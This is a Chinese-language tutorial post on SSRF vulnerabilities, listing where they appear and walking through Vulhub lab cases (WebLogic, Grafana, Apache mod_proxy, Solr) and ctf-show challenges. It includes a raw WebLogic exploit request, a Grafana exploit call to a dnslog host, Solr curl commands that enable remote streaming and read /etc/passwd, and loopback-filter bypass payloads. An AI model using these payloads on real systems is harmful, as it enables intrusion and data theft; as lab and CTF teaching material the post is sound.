ssrf漏洞整理总结
SSRF漏洞整理总结ssrf漏洞描述
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
常出现的地方
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716388-763002151.png
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716470-1587068252.png
案列演示
weblogic-ssrf漏洞
环境链接:Vulhub - Docker-Compose file for vulnerability environment
复现:漏洞参数点operator=http://127.0.0.1:7001
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: 101.34.226.129:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Origin: http://101.34.226.129:7001
Connection: close
Referer: http://101.34.226.129:7001/uddiexplorer/SearchPublicRegistries.jsp
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=FzyNjhXHdMKBWzQ8TPSLXcr4hXJ1fhyvqgSQlcTj9BZc8K19QKJC!-739248832
Upgrade-Insecure-Requests: 1
operator=http://127.0.0.1:7001&rdoSearch=name&txtSearchname=123456&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search当端口不存在时显示
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716476-2120970795.png
当端口存在时
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716356-1684204065.png
通过redis拿shell,Vulhub - 用于漏洞环境的 Docker-Compose 文件这篇文章有讲了
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716306-1907298782.png
然后发送payload等待反弹即可
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716368-1547407896.png
Grafana Admin Portal SSRF
漏洞环境Vulhub - 用于漏洞环境的 Docker-Compose 文件
启动漏洞环境
docker-compose up -dhttps://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716413-705291975.png
漏洞利用脚本RandomRobbieBF/grafana-ssrf:Grafana 中经过身份验证的 SSRF (github.com)
python3 grafana-ssrf.py -H http://124.223.52.83:3000 -u http://tz1r7f.dnslog.cnhttps://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716387-1619318965.png
收到请求
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716432-1957611991.png
mod_proxy SSRF 的 Apache HTTP 服务器 2.4.48 (CVE-2021-40438)
漏洞环境Vulhub - 用于漏洞环境的 Docker-Compose 文件
启动环境
docker-compose build
docker-compose up -dhttps://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716444-428079894.png
发送请求
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716488-1166061487.png
接收到了
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716442-898879574.png
Apache Solr RemoteStreaming Arbitra File Reading and SSRF
环境连接Vulhub - 用于漏洞环境的 Docker-Compose 文件
docker-compose up -d启动环境
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716414-1514602912.png
访问该连接以提取数据库名称
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=jsonhttps://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716392-2074734027.png
发送以下请求,修改数据库的配置以启用:demo``RemoteStreaming
curl -i -s -k -X $'POST' \ -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \ $'http://your-ip:8983/solr/demo/config'https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716355-2018344967.png
然后即可读取任意文件
curl -i -s -k'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716355-539503793.png
ctf-show
web351
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716454-770094194.png
web352
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716424-530377868.png
web353
回环地址绕过
url=http://127.255.255.254/flag.php
url=http://0/flag.php
url=http://[::ffff:7f00:1]
url=http://127.1
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716459-1709435800.png
web354
将自己的域名解析到本地的127.0.0.1绕过
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716363-188114126.png
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716433-1763846294.png
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716401-1731426075.png
web355
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716435-343479106.png
host要小于5位,那么上面就有payload可以绕过了
直接http://127.1/flag.php就可以了https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716496-1475815205.png
web356
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716494-1202669568.png
现在又要host小于3位了,那么直接url=http://0/flag.php就可以绕过了
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716454-677526897.png
web357
https://img2023.cnblogs.com/blog/2461852/202302/2461852-20230225190716446-2134990499.png
gethostbyname — 返回主机名对应的 IPv4地址。
filter_var — 使用特定的过滤器过滤一个变量
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。就是可以搞个公网地址,然后302跳转到127.0.0.1即可
页:
[1]